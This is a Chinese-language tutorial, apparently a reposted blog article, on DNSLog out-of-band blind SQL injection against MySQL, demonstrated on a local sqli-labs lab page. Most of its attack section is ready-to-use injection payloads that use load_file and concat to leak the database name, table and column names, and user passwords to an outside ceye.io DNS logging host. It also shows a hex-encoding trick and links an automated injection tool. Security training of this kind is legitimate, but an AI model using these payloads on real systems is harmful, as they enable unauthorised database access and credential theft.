1.基礎知識

1.DNS

DNS(Domain Name System，域名系統)，因特網上作為域名和IP地址相互映射的一個分布式數據庫，能夠使用戶更方便的訪問互聯網，而不用去記住能夠被機器直接讀取的IP數串。通過主機名，最終得到該主機名對應的IP地址的過程叫做域名解析(或主機名解析)。DNS協議運行在UDP協議之上，使用端口號53。在RFC文檔中RFC 2181對DNS有規范說明，RFC 2136對DNS的動態更新進行說明，RFC 2308對DNS查詢的反向緩存進行說明。

2.Dnslog

Dnslog就是存儲在DNS Server上的域名信息，它記錄著用戶對域名www.test.com、t00ls.com.等的訪問信息。

DnsLog盲注

對于SQL盲注，我們可以通過布爾或者時間盲注獲取內容，但是整個過程效率低，需要發送很多的請求進行判斷，容易觸發安全設備的防護，Dnslog盲注可以減少發送的請求，直接回顯數據實現注入 使用DnsLog盲注僅限于windos環境。

原理圖:

?

如圖，攻擊者首先提交注入語句select load_file(concat('\\\\','攻擊語句',.XXX.ceye.io\\abc))

在數據庫中攻擊語句被執行，由concat函數將執行結果與XXX.ceye.io\\abc拼接，構成一個新的域名，而mysql中的select load_file()可以發起請求，那么這一條帶有數據庫查詢結果的域名就被提交到DNS服務器進行解析

此時，如果我們可以查看DNS服務器上的Dnslog就可以得到SQL注入結果。那么我們如何獲得這條DNS查詢記錄呢？注意注入語句中的ceye.io，這其實是一個開放的Dnslog平臺（具體用法在官網可見），在http://ceye.io上我們可以獲取到有關ceye.io的DNS查詢信息。實際上在域名解析的過程中，是由頂級域名向下逐級解析的，我們構造的攻擊語句也是如此，當它發現域名中存在ceye.io時，它會將這條域名信息轉到相應的NS服務器上，而通過http://ceye.io我們就可以查詢到這條DNS解析記錄。

?

構造語法

構造語句，利用load_file()函數發起請求，使用Dnslog接受請求，獲取數據

SELECT LOAD_FILE(CONCAT('\\\',(select database(),'mysql.cmr1ua.ceye.io\\abc')))

通過SQL語句查詢內容，作為請求的一部分發送至Dnslog

只要對這一部分語句進行構造，就能實現有回顯的SQL注入

payload:

獲取數據庫名

http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+

?通過dnslog查看到數據名為security

?獲取數據表

http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

獲取表中的字段名

' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

獲取表中字段下的數據

' and load_file(concat('\\\\',(select password from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+ ' and load_file(concat('\\\\',(select username from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

因為在load_file里面不能使用@ ~等符號所以要區分數據我們可以先用group_ws()函數分割在用hex()函數轉成十六進制即可 出來了再轉回去

' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

?

?

Donslog注入腳本

https://github.com/ADOOO/DnslogSqlinj

參考學習:https://www.jianshu.com/p/d6788f57dba5

　　https://www.cnblogs.com/afanti/p/8047530.html

　　　　　　網易云白帽子進階課程

?

總結

以上是生活随笔為你收集整理的DnsLog盲注的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。